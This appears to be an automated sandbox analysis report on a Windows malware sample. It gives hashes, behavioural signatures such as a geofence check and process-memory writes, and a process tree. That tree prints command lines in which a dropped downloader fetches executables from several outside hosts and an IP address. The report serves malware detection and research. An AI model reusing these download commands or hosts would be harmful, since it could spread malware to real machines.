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Analysis
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max time kernel
179s -
max time network
174s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29/11/2022, 03:17
Static task
static1
Behavioral task
behavioral1
Sample
adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe
Resource
win10v2004-20221111-en
General
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Target
adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe
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Size
351KB
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MD5
d758c3bc9f30553157d9accb22dc8897
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SHA1
aa888695f244306faea62beeb497f0dc4381905d
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SHA256
adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7
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SHA512
88ce9c8effc66b8c3da800fc252d6db88757535ebc279415b33ed0913cc117fd7a0b3ae8e32960864a9d00e3c05f42ad4812926445e2981079b6060cf6f093e4
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SSDEEP
6144:BME1nmg1tDbJ5621YNzigKarmXGfol3MavBGL8ap7mdALnXOGkUTYAm802G1wZ7C:ugnJzqAlLvBva7m+Ln5kcjhHG1+UWw
Malware Config
Signatures
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Executes dropped EXE 4 IoCs
pid Process 4744 Urseiklmn.exe 3552 Urseiklmn.exe 4316 Urseiklmn.exe 4720 Urseiklmn.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3396 wrote to memory of 4744 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 82 PID 3396 wrote to memory of 4744 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 82 PID 3396 wrote to memory of 4744 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 82 PID 3396 wrote to memory of 3552 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 87 PID 3396 wrote to memory of 3552 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 87 PID 3396 wrote to memory of 3552 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 87 PID 3396 wrote to memory of 4316 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 88 PID 3396 wrote to memory of 4316 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 88 PID 3396 wrote to memory of 4316 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 88 PID 3396 wrote to memory of 4720 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 90 PID 3396 wrote to memory of 4720 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 90 PID 3396 wrote to memory of 4720 3396 adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe"C:\Users\Admin\AppData\Local\Temp\adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3396 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://gtszylcd.3322.org:8181/shenge.exe"2⤵
- Executes dropped EXE
PID:4744
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://d1.downxia.net/downloader/setup3002.exe"2⤵
- Executes dropped EXE
PID:3552
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://dl.youbak.com/msn/software/partner/mfq/haoya.exe"2⤵
- Executes dropped EXE
PID:4316
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://61.156.40.231:81/soft/OemWpsSetup40.6.exe"2⤵
- Executes dropped EXE
PID:4720
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
499KB
MD5783291f2ef79f9537cc509c53076c3b3
SHA1855265fd62d97bf04cda9a8d1cf0f3f6ede9300f
SHA2565bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4
SHA5122d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf
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Filesize
499KB
MD5783291f2ef79f9537cc509c53076c3b3
SHA1855265fd62d97bf04cda9a8d1cf0f3f6ede9300f
SHA2565bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4
SHA5122d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf
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Filesize
499KB
MD5783291f2ef79f9537cc509c53076c3b3
SHA1855265fd62d97bf04cda9a8d1cf0f3f6ede9300f
SHA2565bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4
SHA5122d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf
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Filesize
499KB
MD5783291f2ef79f9537cc509c53076c3b3
SHA1855265fd62d97bf04cda9a8d1cf0f3f6ede9300f
SHA2565bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4
SHA5122d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf
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Filesize
499KB
MD5783291f2ef79f9537cc509c53076c3b3
SHA1855265fd62d97bf04cda9a8d1cf0f3f6ede9300f
SHA2565bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4
SHA5122d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf